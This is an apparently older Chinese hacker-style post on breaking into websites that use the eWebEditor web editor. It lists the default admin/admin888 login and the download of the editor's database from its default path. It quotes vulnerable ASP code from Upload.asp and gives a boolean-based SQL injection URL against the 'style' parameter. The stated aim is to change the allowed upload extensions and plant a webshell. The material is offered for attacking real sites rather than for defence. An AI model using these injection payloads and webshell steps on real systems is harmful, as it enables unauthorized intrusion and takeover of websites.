最近在网上看到了N多ewebeditor的注入漏洞,其实这个漏洞去年12月份的就在黑客防线上投过,只不过,当时编辑把它放到了光盘中,所以关注的人也很少了,而我利用的方法也比较弱智.
下面是那个录相的下载地址:
http://www.hacker.com.cn/down/view_17710.html
下面是我原先的文章:
一般遇到用ewebeditor(之前老版本),都是通过改验证格式,如在允许的后缀名样式中添加asa或者aaspsp类型,然后在上传webshell来搞定的。而修改类型必须得到ewebeditor的用户名和密码,或者绕过验证。绕过验证的方法是通过session欺骗。具体的方法网上有的是,这里就不再细说了。
这里主要是想讲下如何得到用户名和密码,一般有如下几种方法:
1,默认用户名和密码admin/admin888.
2,按照其默认路径下载其数据库,从数据库中得到其用户名和密码(MD5加密后的)
而我们相信一般用ewebeditor的网站管理员也都会注意到上面这些众人皆知的漏洞,然后针对其进行修改的.
在这里介绍第三种拿到用户名和密码的方法----sql注入(一般网络管理员并没有意识到ewebeditor存在sql注入漏洞^-^)。
先分析代码,在WebEditupload.asp中有如下代码
Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sSql = "select * from ewebeditor_style where s_name='"& sStyleName & "'"
oRs.Open sSql, o Conn, 0, 1
……
End Sub
这里没有对其传入的style进行过滤,直接赋给了sStyleName,所以可以注入。
我们提交如下URL
http://localhost:3000/Upload.asp?type=FILE&style=webedit'and (selectcount(*) from ewebeditor_system )>0 and ‘1’=’1
这样style = webedit'and (select count(*) from ewebeditor_system)>0 and ‘1’=’1
sSql = "select * from ewebeditor_style where s_name='webedit’and(select count(*) from ewebeditor_system )>0 and‘1’=’1' "
然后接下来会执行这个sql语句,如果执行不成功,页面会返回脚本错误,我们则可以用其判断条件是否符合。
附:
ewebeditor是个好东西...大家要小心使用啊.